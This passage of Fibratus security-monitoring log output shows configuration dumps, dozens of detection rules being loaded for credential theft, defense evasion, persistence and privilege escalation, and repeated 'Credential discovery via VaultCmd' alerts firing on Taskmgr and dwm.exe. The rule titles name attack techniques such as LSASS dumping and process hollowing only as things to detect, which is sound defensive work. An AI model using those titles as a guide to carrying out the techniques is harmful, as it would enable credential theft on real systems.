max-buffers=>36 enable-net=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ enabled=>false exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false passive=>false durable=>false delivery-mode=>transient vhost=>/] elasticsearch=>[ gzip-compression=>false healthcheck=>true trace-log=>false healthcheck-timeout=>5s enabled=>false flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s index-name=>fibratus] http=>[ enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false enabled=>false fastscan=>true excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:42:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:42:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:44:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:44:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:44:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:46:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:46:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T15:46:24+01:00 level=info msg=bootstrapping with pid 3764. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:46:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-threadpool=>false enable-dns=>false flush-interval=>1s max-buffers=>36 enable-audit-api=>true enable-thread=>true enable-registry=>true enable-handle=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true min-buffers=>16 enable-image=>true buffer-size=>512 enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 formatter=>text max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s sniff=>false bulk-workers=>1 enabled=>false healthcheck-timeout=>5s trace-log=>false flush-period=>1s timeout=>5s template-name=>fibratus] http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s method=>POST endpoints=>[] enable-gzip=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ delivery-mode=>transient enabled=>false passive=>false routing-key=>fibratus exchange-type=>topic timeout=>5s exchange=>fibratus durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false enabled=>false excluded-files=>[] excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:46:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:46:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4209791 + Pid: 15304 + Tid: 1344 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:30.9317936 +0100 CET + Params: file_key➜ ffffa88b193ad000, offset➜ 0, pid➜ 15304, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 263f8540000, view_size➜ 20975616 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555 + + Pid: 15304 + Ppid: 8220 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4185592 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:27.3049253 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c60000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4185593 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:27.3049398 +0100 CET + Params: file_key➜ ffffa88b2b4f3610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c70000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4185593 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:27.3049398 +0100 CET + Params: file_key➜ ffffa88b2b4f3610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c70000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: 